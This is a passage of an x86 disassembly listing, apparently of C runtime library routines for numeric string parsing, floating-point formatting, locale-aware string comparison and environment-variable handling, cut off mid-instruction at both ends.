loc_42DD92: ; CODE XREF: sub_42DB5C+226j test eax, eax jz loc_42DE44 mov eax, esi jmp short loc_42DDF5 ; --------------------------------------------------------------------------- loc_42DD9E: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo lea ecx, [edi-2] ; jumptable 0042DBBF case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42DDAE cmp bl, 39h jle short loc_42DDF2 loc_42DDAE: ; CODE XREF: sub_42DB5C+24Bj movsx eax, bl sub eax, 2Bh jz short loc_42DE2A dec eax dec eax jz short loc_42DE1E sub eax, 3 jnz loc_42DED2 loc_42DDC3: ; CODE XREF: sub_42DB5C+2A4j push 8 jmp short loc_42DE2C ; --------------------------------------------------------------------------- loc_42DDC7: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo mov [ebp+var_20], edx ; jumptable 0042DBBF case 8 loc_42DDCA: ; CODE XREF: sub_42DB5C+276j cmp bl, 30h jnz short loc_42DDD4 mov bl, [edi] inc edi jmp short loc_42DDCA ; --------------------------------------------------------------------------- loc_42DDD4: ; CODE XREF: sub_42DB5C+271j cmp bl, 31h jl loc_42DECF cmp bl, 39h jg loc_42DECF jmp short loc_42DDF2 ; --------------------------------------------------------------------------- loc_42DDE8: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo cmp bl, 31h ; jumptable 0042DBBF case 7 jl short loc_42DDFB cmp bl, 39h jg short loc_42DDFB loc_42DDF2: ; CODE XREF: sub_42DB5C+250j ; sub_42DB5C+28Aj push 9 loc_42DDF4: ; CODE XREF: sub_42DB5C+76j pop eax loc_42DDF5: ; CODE XREF: sub_42DB5C+240j dec edi jmp loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DDFB: ; CODE XREF: sub_42DB5C+28Fj ; sub_42DB5C+294j cmp bl, 30h jnz short loc_42DE44 jmp short loc_42DDC3 ; --------------------------------------------------------------------------- loc_42DE02: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo cmp [ebp+arg_18], 0 ; jumptable 0042DBBF case 11 jz short loc_42DE32 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_42DE2A dec eax dec eax jnz loc_42DED2 loc_42DE1E: ; CODE XREF: sub_42DB5C+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DE2A: ; CODE XREF: sub_42DB5C+258j ; sub_42DB5C+2B8j push 7 loc_42DE2C: ; CODE XREF: sub_42DB5C+85j ; sub_42DB5C+103j ... pop eax jmp loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DE32: ; CODE XREF: sub_42DB5C+2AAj push 0Ah dec edi pop eax loc_42DE36: ; CODE XREF: sub_42DB5C+5Dj ; sub_42DB5C+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042DBBF case 10 jz loc_42DED4 jmp loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DE44: ; CODE XREF: sub_42DB5C+12Dj ; sub_42DB5C+238j ... mov edi, [ebp+arg_8] jmp loc_42DED4 ; --------------------------------------------------------------------------- loc_42DE4C: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo mov [ebp+var_20], 1 ; jumptable 0042DBBF case 9 xor esi, esi loc_42DE55: ; CODE XREF: sub_42DB5C+339j cmp dword_449A44, 1 jle short loc_42DE6D movzx eax, bl push 4 push eax call sub_42653A pop ecx pop ecx jmp short loc_42DE7C ; --------------------------------------------------------------------------- loc_42DE6D: ; CODE XREF: sub_42DB5C+300j mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42DE7C: ; CODE XREF: sub_42DB5C+30Fj test eax, eax jz short loc_42DE9C movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42DE97 mov bl, [edi] inc edi jmp short loc_42DE55 ; --------------------------------------------------------------------------- loc_42DE97: ; CODE XREF: sub_42DB5C+334j mov esi, 1451h loc_42DE9C: ; CODE XREF: sub_42DB5C+322j mov [ebp+var_1C], esi loc_42DE9F: ; CODE XREF: sub_42DB5C+371j cmp dword_449A44, 1 jle short loc_42DEB7 movzx eax, bl push 4 push eax call sub_42653A pop ecx pop ecx jmp short loc_42DEC6 ; --------------------------------------------------------------------------- loc_42DEB7: ; CODE XREF: sub_42DB5C+34Aj mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42DEC6: ; CODE XREF: sub_42DB5C+359j test eax, eax jz short loc_42DECF mov bl, [edi] inc edi jmp short loc_42DE9F ; --------------------------------------------------------------------------- loc_42DECF: ; CODE XREF: sub_42DB5C+99j ; sub_42DB5C+E4j ... dec edi jmp short loc_42DED4 ; --------------------------------------------------------------------------- loc_42DED2: ; CODE XREF: sub_42DB5C+261j ; sub_42DB5C+2BCj mov edi, ecx loc_42DED4: ; CODE XREF: sub_42DB5C+2DDj ; sub_42DB5C+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_42DFBC push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42DF00 cmp [ebp+var_45], 5 jl short loc_42DEF4 inc [ebp+var_45] loc_42DEF4: ; CODE XREF: sub_42DB5C+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42DF03 ; --------------------------------------------------------------------------- loc_42DF00: ; CODE XREF: sub_42DB5C+38Dj mov eax, [ebp+var_C] loc_42DF03: ; CODE XREF: sub_42DB5C+3A2j cmp [ebp+var_4], 0 jbe loc_42DFB2 loc_42DF0D: ; CODE XREF: sub_42DB5C+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_42DF1B dec [ebp+var_4] inc [ebp+var_8] jmp short loc_42DF0D ; --------------------------------------------------------------------------- loc_42DF1B: ; CODE XREF: sub_42DB5C+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42DA95 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_42DF3A neg eax loc_42DF3A: ; CODE XREF: sub_42DB5C+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42DF45 add eax, [ebp+arg_10] loc_42DF45: ; CODE XREF: sub_42DB5C+3E4j cmp [ebp+var_24], ecx jnz short loc_42DF4D sub eax, [ebp+arg_14] loc_42DF4D: ; CODE XREF: sub_42DB5C+3ECj cmp eax, 1450h jle short loc_42DF84 mov [ebp+var_2C], 1 loc_42DF5B: ; CODE XREF: sub_42DB5C+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_42DF67: ; CODE XREF: sub_42DB5C+454j ; sub_42DB5C+45Ej cmp [ebp+var_2C], 0 jz short loc_42DFCD xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42DFE2 ; --------------------------------------------------------------------------- loc_42DF84: ; CODE XREF: sub_42DB5C+3F6j cmp eax, 0FFFFEBB0h jge short loc_42DF94 mov [ebp+var_30], 1 jmp short loc_42DF5B ; --------------------------------------------------------------------------- loc_42DF94: ; CODE XREF: sub_42DB5C+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42EB32 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_42DF67 ; --------------------------------------------------------------------------- loc_42DFB2: ; CODE XREF: sub_42DB5C+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_42DF67 ; --------------------------------------------------------------------------- loc_42DFBC: ; CODE XREF: sub_42DB5C+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42DFE2 ; --------------------------------------------------------------------------- loc_42DFCD: ; CODE XREF: sub_42DB5C+40Fj cmp [ebp+var_30], 0 jz short loc_42DFE2 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42DFE2: ; CODE XREF: sub_42DB5C+426j ; sub_42DB5C+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_42DB5C endp ; --------------------------------------------------------------------------- off_42DFFD dd offset loc_42DBC6 ; DATA XREF: sub_42DB5C+63r dd offset loc_42DC15 ; jump table for switch statement dd offset loc_42DC6C dd offset loc_42DC96 dd offset loc_42DCF1 dd offset loc_42DD68 dd offset loc_42DD9E dd offset loc_42DDE8 dd offset loc_42DDC7 dd offset loc_42DE4C dd offset loc_42DE36 dd offset loc_42DE02 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E02D proc near ; CODE XREF: sub_42C832+2Bp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_42E08F mov byte ptr [ebx+2], 2Dh jmp short loc_42E093 ; --------------------------------------------------------------------------- loc_42E08F: ; CODE XREF: sub_42E02D+5Aj mov byte ptr [ebx+2], 20h loc_42E093: ; CODE XREF: sub_42E02D+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42E0B9 test edi, edi jnz short loc_42E0B9 cmp [ebp+arg_0], edi jnz short loc_42E0B9 loc_42E0A4: ; CODE XREF: sub_42E02D+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42E2B7 ; --------------------------------------------------------------------------- loc_42E0B9: ; CODE XREF: sub_42E02D+6Cj ; sub_42E02D+70j ... cmp dx, si jnz short loc_42E138 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_42E0D2 cmp [ebp+arg_0], 0 jz short loc_42E0E1 loc_42E0D2: ; CODE XREF: sub_42E02D+9Dj test edi, 40000000h jnz short loc_42E0E1 push offset a1Snan ; "1#SNAN" jmp short loc_42E127 ; --------------------------------------------------------------------------- loc_42E0E1: ; CODE XREF: sub_42E02D+A3j ; sub_42E02D+ABj test cx, cx jz short loc_42E0FB cmp edi, 0C0000000h jnz short loc_42E0FB cmp [ebp+arg_0], 0 jnz short loc_42E122 push offset a1Ind ; "1#IND" jmp short loc_42E10A ; --------------------------------------------------------------------------- loc_42E0FB: ; CODE XREF: sub_42E02D+B7j ; sub_42E02D+BFj cmp edi, eax jnz short loc_42E122 cmp [ebp+arg_0], 0 jnz short loc_42E122 push offset a1Inf ; "1#INF" loc_42E10A: ; CODE XREF: sub_42E02D+CCj lea eax, [ebx+4] push eax call sub_423260 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_42E119: ; CODE XREF: sub_42E02D+109j and [ebp+var_4], 0 jmp loc_42E290 ; --------------------------------------------------------------------------- loc_42E122: ; CODE XREF: sub_42E02D+C5j ; sub_42E02D+D0j ... push offset a1Qnan ; "1#QNAN" loc_42E127: ; CODE XREF: sub_42E02D+B2j lea eax, [ebx+4] push eax call sub_423260 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_42E119 ; --------------------------------------------------------------------------- loc_42E138: ; CODE XREF: sub_42E02D+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42EB32 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42E199 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_42E912 pop ecx pop ecx loc_42E199: ; CODE XREF: sub_42E02D+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_42E1B3 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42E1B6 jmp loc_42E0A4 ; --------------------------------------------------------------------------- loc_42E1B3: ; CODE XREF: sub_42E02D+173j mov edi, [ebp+arg_C] loc_42E1B6: ; CODE XREF: sub_42E02D+17Fj cmp edi, 15h jle short loc_42E1BE push 15h pop edi loc_42E1BE: ; CODE XREF: sub_42E02D+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_42E1D4: ; CODE XREF: sub_42E02D+1B4j lea eax, [ebp+var_10] push eax call sub_42DA3A dec [ebp+arg_14] pop ecx jnz short loc_42E1D4 test esi, esi jge short loc_42E1FE neg esi and esi, 0FFh jle short loc_42E1FE loc_42E1F1: ; CODE XREF: sub_42E02D+1CFj lea eax, [ebp+var_10] push eax call sub_42DA68 dec esi pop ecx jnz short loc_42E1F1 loc_42E1FE: ; CODE XREF: sub_42E02D+1B8j ; sub_42E02D+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_42E25B mov [ebp+arg_C], ecx loc_42E20E: ; CODE XREF: sub_42E02D+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_42DA3A lea eax, [ebp+var_10] push eax call sub_42DA3A lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_42D9DC lea eax, [ebp+var_10] push eax call sub_42DA3A mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_42E20E mov eax, [ebp+arg_14] loc_42E25B: ; CODE XREF: sub_42E02D+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42E298 loc_42E268: ; CODE XREF: sub_42E02D+248j cmp eax, ecx jb short loc_42E27B cmp byte ptr [eax], 39h jnz short loc_42E277 mov byte ptr [eax], 30h dec eax jmp short loc_42E268 ; --------------------------------------------------------------------------- loc_42E277: ; CODE XREF: sub_42E02D+242j cmp eax, ecx jnb short loc_42E27F loc_42E27B: ; CODE XREF: sub_42E02D+23Dj inc eax inc word ptr [ebx] loc_42E27F: ; CODE XREF: sub_42E02D+24Cj inc byte ptr [eax] loc_42E281: ; CODE XREF: sub_42E02D+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_42E290: ; CODE XREF: sub_42E02D+F0j mov eax, [ebp+var_4] loc_42E293: ; CODE XREF: sub_42E02D+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42E298: ; CODE XREF: sub_42E02D+239j ; sub_42E02D+275j cmp eax, ecx jb short loc_42E2A8 cmp byte ptr [eax], 30h jnz short loc_42E2A4 dec eax jmp short loc_42E298 ; --------------------------------------------------------------------------- loc_42E2A4: ; CODE XREF: sub_42E02D+272j cmp eax, ecx jnb short loc_42E281 loc_42E2A8: ; CODE XREF: sub_42E02D+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42E2B7: ; CODE XREF: sub_42E02D+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_42E293 sub_42E02D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E2C0 proc near ; CODE XREF: sub_42CEB9+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42FA80 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_631748, ebx push 1 pop edi jnz short loc_42E333 push edi mov eax, offset dword_42F620 push eax push edi push eax push ebx push ebx call dword_42F12C ; CompareStringW test eax, eax jz short loc_42E310 mov dword_631748, edi jmp short loc_42E333 ; --------------------------------------------------------------------------- loc_42E310: ; CODE XREF: sub_42E2C0+46j push edi mov eax, offset word_44D6A0 push eax push edi push eax push ebx push ebx call dword_42F130 ; CompareStringA test eax, eax jz loc_42E529 mov dword_631748, 2 loc_42E333: ; CODE XREF: sub_42E2C0+31j ; sub_42E2C0+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_42E34A push esi push [ebp+arg_8] call sub_42E53D pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_42E34A: ; CODE XREF: sub_42E2C0+78j cmp [ebp+arg_14], ebx jle short loc_42E35F push [ebp+arg_14] push [ebp+arg_10] call sub_42E53D pop ecx pop ecx mov [ebp+arg_14], eax loc_42E35F: ; CODE XREF: sub_42E2C0+8Dj mov eax, dword_631748 cmp eax, 2 jnz short loc_42E384 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42F130 ; CompareStringA jmp loc_42E52B ; --------------------------------------------------------------------------- loc_42E384: ; CODE XREF: sub_42E2C0+A7j cmp eax, edi jnz loc_42E529 cmp [ebp+arg_18], ebx jnz short loc_42E399 mov eax, dword_6314D8 mov [ebp+arg_18], eax loc_42E399: ; CODE XREF: sub_42E2C0+CFj cmp esi, ebx jz short loc_42E3A6 cmp [ebp+arg_14], ebx jnz loc_42E43E loc_42E3A6: ; CODE XREF: sub_42E2C0+DBj cmp esi, [ebp+arg_14] jnz short loc_42E3B3 loc_42E3AB: ; CODE XREF: sub_42E2C0+13Cj ; sub_42E2C0+16Dj push 2 loc_42E3AD: ; CODE XREF: sub_42E2C0+146j pop eax jmp loc_42E52B ; --------------------------------------------------------------------------- loc_42E3B3: ; CODE XREF: sub_42E2C0+E9j cmp [ebp+arg_14], edi jle short loc_42E3BF loc_42E3B8: ; CODE XREF: sub_42E2C0+151j ; sub_42E2C0+159j ... mov eax, edi jmp loc_42E52B ; --------------------------------------------------------------------------- loc_42E3BF: ; CODE XREF: sub_42E2C0+F6j cmp esi, edi jg short loc_42E404 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_42F19C ; GetCPInfo test eax, eax jz loc_42E529 cmp esi, ebx jle short loc_42E408 cmp [ebp+var_3C], 2 jb short loc_42E404 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42E404 loc_42E3EA: ; CODE XREF: sub_42E2C0+142j mov dl, [eax+1] cmp dl, bl jz short loc_42E404 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_42E3FE cmp cl, dl jbe short loc_42E3AB loc_42E3FE: ; CODE XREF: sub_42E2C0+138j inc eax inc eax cmp [eax], bl jnz short loc_42E3EA loc_42E404: ; CODE XREF: sub_42E2C0+101j ; sub_42E2C0+120j ... push 3 jmp short loc_42E3AD ; --------------------------------------------------------------------------- loc_42E408: ; CODE XREF: sub_42E2C0+11Aj cmp [ebp+arg_14], ebx jle short loc_42E43E cmp [ebp+var_3C], 2 jb short loc_42E3B8 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42E3B8 loc_42E41B: ; CODE XREF: sub_42E2C0+177j mov dl, [eax+1] cmp dl, bl jz short loc_42E3B8 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42E433 cmp cl, dl jbe loc_42E3AB loc_42E433: ; CODE XREF: sub_42E2C0+169j inc eax inc eax cmp [eax], bl jnz short loc_42E41B jmp loc_42E3B8 ; --------------------------------------------------------------------------- loc_42E43E: ; CODE XREF: sub_42E2C0+E0j ; sub_42E2C0+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_42F098 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_42E529 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_4220C0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_42E48D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_42E48D: ; CODE XREF: sub_42E2C0+1B5j cmp [ebp+var_24], ebx jz loc_42E529 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_42F098 call esi ; dword_42F098 test eax, eax jz short loc_42E529 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; dword_42F098 mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42E529 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4220C0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42E4F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42E4F8: ; CODE XREF: sub_42E2C0+224j cmp edi, ebx jz short loc_42E529 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_42F098 ; MultiByteToWideChar test eax, eax jz short loc_42E529 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_42F12C ; CompareStringW jmp short loc_42E52B ; --------------------------------------------------------------------------- loc_42E529: ; CODE XREF: sub_42E2C0+63j ; sub_42E2C0+C6j ... xor eax, eax loc_42E52B: ; CODE XREF: sub_42E2C0+BFj ; sub_42E2C0+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42E2C0 endp ; =============== S U B R O U T I N E ======================================= sub_42E53D proc near ; CODE XREF: sub_429BA7+81p ; sub_42E2C0+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42E55A loc_42E54D: ; CODE XREF: sub_42E53D+1Bj cmp byte ptr [eax], 0 jz short loc_42E55A inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_42E54D loc_42E55A: ; CODE XREF: sub_42E53D+Ej ; sub_42E53D+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42E565 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42E565: ; CODE XREF: sub_42E53D+21j mov eax, edx retn sub_42E53D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E568 proc near ; CODE XREF: sub_42CEF8+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42E5CC push 3Dh push [ebp+arg_0] call sub_42CA33 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42E5CC cmp [ebp+arg_0], esi jz short loc_42E5CC mov eax, dword_631488 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_63148C jnz short loc_42E5B2 push eax call sub_42E747 pop ecx mov dword_631488, eax loc_42E5B2: ; CODE XREF: sub_42E568+3Cj cmp eax, edi jnz short loc_42E60A cmp [ebp+arg_4], edi jz short loc_42E5D4 cmp dword_631490, edi jz short loc_42E5D4 call sub_42CEF8 test eax, eax jz short loc_42E60A loc_42E5CC: ; CODE XREF: sub_42E568+Dj ; sub_42E568+22j ... or eax, 0FFFFFFFFh loc_42E5CF: ; CODE XREF: sub_42E568+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42E5D4: ; CODE XREF: sub_42E568+51j ; sub_42E568+59j cmp ebx, edi jnz loc_42E6E8 push 4 call sub_422F79 cmp eax, edi pop ecx mov dword_631488, eax jz short loc_42E5CC mov [eax], edi cmp dword_631490, edi jnz short loc_42E60A push 4 call sub_422F79 cmp eax, edi pop ecx mov dword_631490, eax jz short loc_42E5CC mov [eax], edi loc_42E60A: ; CODE XREF: sub_42E568+4Cj ; sub_42E568+62j ... sub esi, [ebp+arg_0] mov edi, dword_631488 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_42E6EF mov esi, eax pop ecx test esi, esi pop ecx jl short loc_42E66A cmp dword ptr [edi], 0 jz short loc_42E66A test ebx, ebx jz short loc_42E662 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_4230B3 pop ecx loc_42E63C: ; CODE XREF: sub_42E568+E2j cmp dword ptr [edi], 0 jz short loc_42E64C mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42E63C ; --------------------------------------------------------------------------- loc_42E64C: ; CODE XREF: sub_42E568+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_4285CC pop ecx test eax, eax pop ecx jz short loc_42E69C jmp short loc_42E697 ; --------------------------------------------------------------------------- loc_42E662: ; CODE XREF: sub_42E568+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_42E69C ; --------------------------------------------------------------------------- loc_42E66A: ; CODE XREF: sub_42E568+BDj ; sub_42E568+C2j test ebx, ebx jnz short loc_42E6E8 test esi, esi jge short loc_42E674 neg esi loc_42E674: ; CODE XREF: sub_42E568+108j lea eax, ds:8[esi*4] push eax push edi call sub_4285CC pop ecx test eax, eax pop ecx jz loc_42E5CC mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_42E697: ; CODE XREF: sub_42E568+F8j mov dword_631488, eax loc_42E69C: ; CODE XREF: sub_42E568+F6j ; sub_42E568+100j cmp [ebp+arg_4], 0 jz short loc_42E6E8 push [ebp+arg_0] call sub_422120 inc eax inc eax push eax call sub_422F79 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42E6E8 push [ebp+arg_0] push esi call sub_423260 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_42F128 ; SetEnvironmentVariableA push esi call sub_4230B3 pop ecx loc_42E6E8: ; CODE XREF: sub_42E568+6Ej ; sub_42E568+104j ... xor eax, eax jmp loc_42E5CF sub_42E568 endp ; =============== S U B R O U T I N E ======================================= sub_42E6EF proc near ; CODE XREF: sub_42E568+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_631488 push edi mov eax, [esi] test eax, eax jz short loc_42E72A mov edi, [esp+8+arg_4] loc_42E701: ; CODE XREF: sub_42E6EF+39j push edi push eax push [esp+10h+arg_0] call sub_42CEB9 add esp, 0Ch test eax, eax jnz short loc_42E720 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42E73A test al, al jz short loc_42E73A loc_42E720: ; CODE XREF: sub_42E6EF+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42E701 loc_42E72A: ; CODE XREF: sub_42E6EF+Cj mov eax, esi sub eax, dword_631488 sar eax, 2 neg eax loc_42E737: ; CODE XREF: sub_42E6EF+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E73A: ; CODE XREF: sub_42E6EF+2Bj ; sub_42E6EF+2Fj mov eax, esi sub eax, dword_631488 sar eax, 2 jmp short loc_42E737 sub_42E6EF endp ; =============== S U B R O U T I N E ======================================= sub_42E747 proc near ; CODE XREF: sub_42E568+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_42E756 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_42E756: ; CODE XREF: sub_42E747+9j cmp dword ptr 